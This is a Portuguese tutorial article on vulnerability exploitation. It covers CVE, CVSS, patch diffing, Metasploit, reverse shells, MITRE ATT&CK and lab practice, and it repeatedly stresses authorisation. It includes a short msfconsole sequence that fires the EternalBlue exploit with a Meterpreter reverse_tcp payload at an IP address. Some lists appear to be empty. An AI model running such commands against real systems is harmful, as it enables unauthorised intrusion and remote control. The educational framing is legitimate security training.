Exploração de vulnerabilidades: do CVE ao exploit

Toda invasão bem-sucedida começa por uma fraqueza catalogada em algum lugar. Entre o momento em que uma falha recebe um identificador público e o instante em que ela é explorada existe uma cadeia de etapas que separa o "sei que existe um bug" do "tenho controle do sistema". Neste artigo você vai percorrer essa cadeia — do CVE ao exploit — entendendo cada elo de forma didática e ética.

Aviso ético: tudo aqui pressupõe autorização explícita por escrito. Exploração sem permissão é crime na maioria das jurisdições. Pratique apenas em laboratórios próprios ou em escopos contratados.

O que é uma vulnerabilidade, afinal

Uma vulnerabilidade é uma fraqueza em software, hardware ou configuração que permite a um atacante violar uma propriedade de segurança: confidencialidade, integridade ou disponibilidade. Nem toda vulnerabilidade é explorável na prática, e nem todo bug é uma vulnerabilidade. A diferença está no impacto de segurança.

As fraquezas mais comuns envolvem:

Reconhecer a vulnerabilidade é apenas o ponto de partida. O trabalho real começa quando você precisa transformar essa fraqueza em algo que produza um efeito concreto e controlável.

Vulnerabilidade, exploit e payload

Três termos costumam ser confundidos e convém separá-los desde já:

Um mesmo exploit pode entregar payloads diferentes, e uma mesma vulnerabilidade pode ter vários exploits. Manter esses conceitos distintos evita confusão durante toda a cadeia.

CVE: o identificador universal das falhas

CVE significa Common Vulnerabilities and Exposures. É um sistema de catalogação que dá a cada vulnerabilidade publicamente conhecida um identificador único no formato CVE-ANO-NÚMERO, por exemplo CVE-2021-44228 (a famosa Log4Shell). O objetivo é simples mas poderoso: permitir que defensores, fornecedores e atacantes falem da mesma falha sem ambiguidade.

Um registro CVE costuma trazer:

O CVE diz que existe a falha. Ele não diz, por si só, quão grave ela é nem como explorá-la. Para a gravidade, entra o CVSS.

O ecossistema ao redor do CVE

O CVE não vive sozinho. Vale conhecer os vizinhos:

Cruzar essas fontes transforma uma lista de CVEs em uma priorização inteligente.

CVSS: medindo a gravidade

O Common Vulnerability Scoring System (CVSS) atribui uma nota de 0 a 10 a cada vulnerabilidade, combinando fatores como vetor de ataque (rede, adjacente, local), complexidade, privilégios necessários e impacto. Uma falha explorável remotamente, sem autenticação e que dá execução de código tende a beirar o 10.

Na prática de pentest, o CVSS ajuda a priorizar. Diante de dezenas de findings, você ataca primeiro o que tem maior chance de comprometer o ambiente. Mas cuidado: a nota é um guia, não um veredito. Uma falha de CVSS médio em um ativo crítico pode ser mais perigosa que uma nota alta em um sistema isolado.

Lendo o vetor, não só a nota

A nota numérica resume um vetor muito mais informativo. Por exemplo:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Cada campo conta uma história: AV:N (vetor de rede, atacável remotamente), AC:L (baixa complexidade), PR:N (nenhum privilégio necessário), UI:N (sem interação do usuário). Esse perfil — remoto, fácil, sem autenticação — é exatamente o de uma falha "verme", que se espalha sozinha. Ler o vetor diz por que a nota é alta e ajuda a julgar a relevância para o seu ambiente específico, algo que o número sozinho esconde.

Do bug ao exploit: as etapas

Transformar uma vulnerabilidade conhecida em um exploit funcional segue um caminho relativamente previsível. Esse trabalho normalmente acontece depois das fases de reconhecimento e scanning com Nmap, quando você já mapeou serviços e versões. As etapas típicas são:

Essas etapas não são lineares na vida real — você volta e ajusta. Mas a estrutura mental ajuda a não se perder.

Patch diffing: aprendendo com a correção

Uma técnica central na etapa 2 é o patch diffing: comparar a versão vulnerável com a corrigida para descobrir exatamente o que foi mudado. A correção revela a causa raiz. Se um patch passou a escapar um caractere antes de montar uma query, você acabou de descobrir onde estava a injeção. Por isso defensores precisam aplicar patches rápido: o próprio patch é um mapa para o atacante. Esse intervalo entre a divulgação da correção e a aplicação dela é a chamada janela de exposição — e é nela que muitos exploits "1-day" nascem.

Provas de conceito (PoC)

Pesquisadores frequentemente publicam uma PoC — código mínimo que demonstra a falha sem necessariamente entregar um payload completo. Uma PoC pode apenas provar que dá para travar o serviço ou executar uma calculadora. Transformar uma PoC em exploit confiável (que funciona em várias versões, sem derrubar o alvo) é onde está boa parte do esforço de engenharia.

O papel do Metasploit

Escrever cada exploit do zero é caro. O Metasploit Framework existe justamente para industrializar esse processo. Ele é uma plataforma open source que reúne milhares de exploits, payloads e módulos auxiliares prontos, organizados de forma consistente (Kennedy et al., 2011).

A arquitetura gira em torno de alguns conceitos:

Um fluxo básico no console msfconsole se parece com isto:

msf6 > search cve:2017-0144
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 10.0.0.5
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set LHOST 10.0.0.10
msf6 exploit(ms17_010_eternalblue) > run

Cada linha tem um propósito claro: buscar o módulo pelo CVE, selecioná-lo, definir o alvo (RHOSTS), escolher o payload e o host de retorno (LHOST), e disparar. Em poucos comandos, você sai da teoria para uma sessão ativa — desde que tenha autorização para isso.

Bind shell vs. reverse shell

Uma decisão recorrente é o tipo de payload de shell. No bind shell, o alvo abre uma porta e espera você se conectar — simples, mas frequentemente bloqueado por firewalls de entrada. No reverse shell (o reverse_tcp do exemplo), é o alvo que se conecta de volta a você, no LHOST. Como firewalls costumam ser mais permissivos com tráfego de saída, o reverse shell quase sempre funciona melhor em redes reais. Entender essa diferença evita o erro clássico de disparar um exploit que "funciona" mas nunca devolve sessão porque o firewall barrou a conexão de entrada.

Verificando antes de explorar

Bons módulos do Metasploit oferecem check, que confirma se o alvo é vulnerável sem disparar o exploit. Use-o sempre que possível: ele reduz o risco de derrubar o serviço e evita relatar um falso positivo. Disparar às cegas em um ativo de produção é uma das formas mais rápidas de violar o escopo de um contrato.

Mapeando a exploração ao MITRE ATT&CK

Explorar uma falha não é um ato isolado; é uma etapa dentro de uma operação maior. O framework MITRE ATT&CK cataloga táticas e técnicas reais usadas por adversários, organizando-as em uma matriz que vai do acesso inicial até a exfiltração (MITRE, 2020).

A exploração de vulnerabilidades aparece em várias táticas:

Pensar em termos de ATT&CK ajuda a contar uma história coerente no relatório de pentest: não basta dizer "explorei o CVE-X", você mostra onde aquilo se encaixa na jornada de um atacante real.

Esse mapeamento também serve à defesa. Cada técnica do ATT&CK tem detecções e mitigações associadas, então, ao relatar "usei a técnica T1190 (Exploit Public-Facing Application)", você entrega ao time azul exatamente onde olhar e o que reforçar. Um bom relatório ofensivo fala a língua da defesa.

Exploração na prática: além do botão "run"

É tentador imaginar que exploração é só rodar o Metasploit. Na prática, a maioria dos engajamentos envolve adaptação. Um exemplo recorrente é a exploração de falhas em aplicações web, como mostramos no guia sobre SQL Injection: ali não há um módulo mágico, você manipula a entrada manualmente até extrair dados.

Alguns princípios que separam o iniciante do praticante experiente:

Toda essa disciplina faz parte de uma metodologia de pentest bem definida — sem método, exploração vira bagunça perigosa.

Quando o exploit "deveria funcionar" mas não funciona

Falhas de exploração raramente significam que o alvo é seguro. Causas comuns:

Diagnosticar essas causas — em vez de concluir "não é vulnerável" — é exatamente a habilidade que distingue o profissional. Frequentemente a solução é capturar o tráfego, ler o erro com atenção e ajustar um único parâmetro por vez.

Classes de vulnerabilidade e seus exploits típicos

Cada família de fraqueza tem um estilo de exploração característico. Conhecê-las ajuda a escolher a abordagem certa diante de um CVE.

Injeção

Quando entrada não confiável é interpretada como código ou comando. SQL Injection, injeção de comando de SO e injeção de template caem aqui. O exploit consiste em quebrar a fronteira entre dados e código: você fornece uma entrada que o sistema, por descuido, executa. Costuma ser manual e iterativo, ajustando a carga até o servidor revelar dados ou executar comandos.

Corrupção de memória

Buffer overflows, use-after-free e afins, típicos de C/C++. O exploit manipula a memória do processo para redirecionar o fluxo de execução até um código controlado pelo atacante. É a categoria mais técnica, exigindo entender registradores, pilha e as mitigações modernas (DEP, ASLR, canaries) que tornam o trabalho progressivamente mais difícil.

Falhas de autenticação e autorização

Quando o sistema confia em dados que o cliente controla ou erra ao verificar quem pode fazer o quê. Aqui raramente há "exploit binário": você abusa da lógica — trocando um identificador na URL para acessar dados de outro usuário (IDOR), forjando um token, ou pulando uma etapa do fluxo. São falhas de design, não de memória.

Desserialização e execução remota de código

Quando o sistema reconstrói objetos a partir de dados não confiáveis, um atacante pode forjar um objeto que executa código ao ser desserializado. Foi o mecanismo por trás de diversas falhas críticas de RCE. O exploit é a construção cuidadosa de um payload serializado malicioso — frequentemente apoiado por ferramentas que geram essas cadeias automaticamente.

Treinando exploração de forma legal

Você nunca deve treinar exploração em sistemas de terceiros sem autorização explícita por escrito. Felizmente existem ambientes feitos para isso. Plataformas de CTF e laboratórios intencionalmente vulneráveis permitem praticar a cadeia inteira — do reconhecimento ao shell — dentro da lei.

Ao montar seu laboratório, prefira:

Alvos clássicos para começar incluem distribuições e VMs propositalmente vulneráveis (como Metasploitable e máquinas de plataformas de laboratório), além de aplicações web de treino que reúnem as principais classes de falha em um só lugar. Esse ciclo de tentativa, erro e revisão é o que transforma conhecimento teórico de CVE em habilidade prática de exploração.

Perguntas frequentes

Preciso saber programar para explorar vulnerabilidades? Para usar ferramentas prontas, o básico já ajuda. Mas para adaptar exploits, ler PoCs e fazer patch diffing, conhecer pelo menos uma linguagem de script (Python é o padrão) e entender como o alvo funciona é praticamente obrigatório no nível intermediário.

Qual a diferença entre exploit "0-day" e "1-day"? Um 0-day abusa de uma falha ainda sem patch público — o fornecedor teve "zero dias" para corrigir. Um 1-day (ou n-day) explora uma falha já conhecida e corrigida, mirando sistemas que ainda não aplicaram o patch. A maioria dos ataques reais é de n-day, porque depende apenas de alvos desatualizados.

CVSS alto significa que vou conseguir explorar? Não necessariamente. CVSS mede impacto potencial, não disponibilidade de exploit nem viabilidade no seu alvo específico. Cruzar com EPSS e KEV dá uma visão muito mais realista da explorabilidade prática.

Metasploit é suficiente para um pentest? É uma ferramenta poderosa, mas não cobre tudo. Falhas de lógica de negócio, web e configuração frequentemente exigem trabalho manual. Trate o Metasploit como uma parte do arsenal, não como o pentest inteiro.

Conclusão

A jornada do CVE ao exploit é uma cadeia de etapas que começa na catalogação pública de uma fraqueza e termina em um payload que produz efeito controlado no alvo. O CVE dá o nome, o CVSS dá a urgência, o estudo da causa raiz — com patch diffing e PoCs — dá o entendimento e ferramentas como o Metasploit dão a escala. Por cima de tudo isso, frameworks como o MITRE ATT&CK fornecem o mapa que situa cada exploração dentro de uma operação maior e ainda servem de ponte para a defesa. Domine essa cadeia em laboratórios legais, entenda cada payload antes de dispará-lo, documente cada passo e você terá uma das habilidades mais valiosas — e responsáveis — da segurança ofensiva.

Referências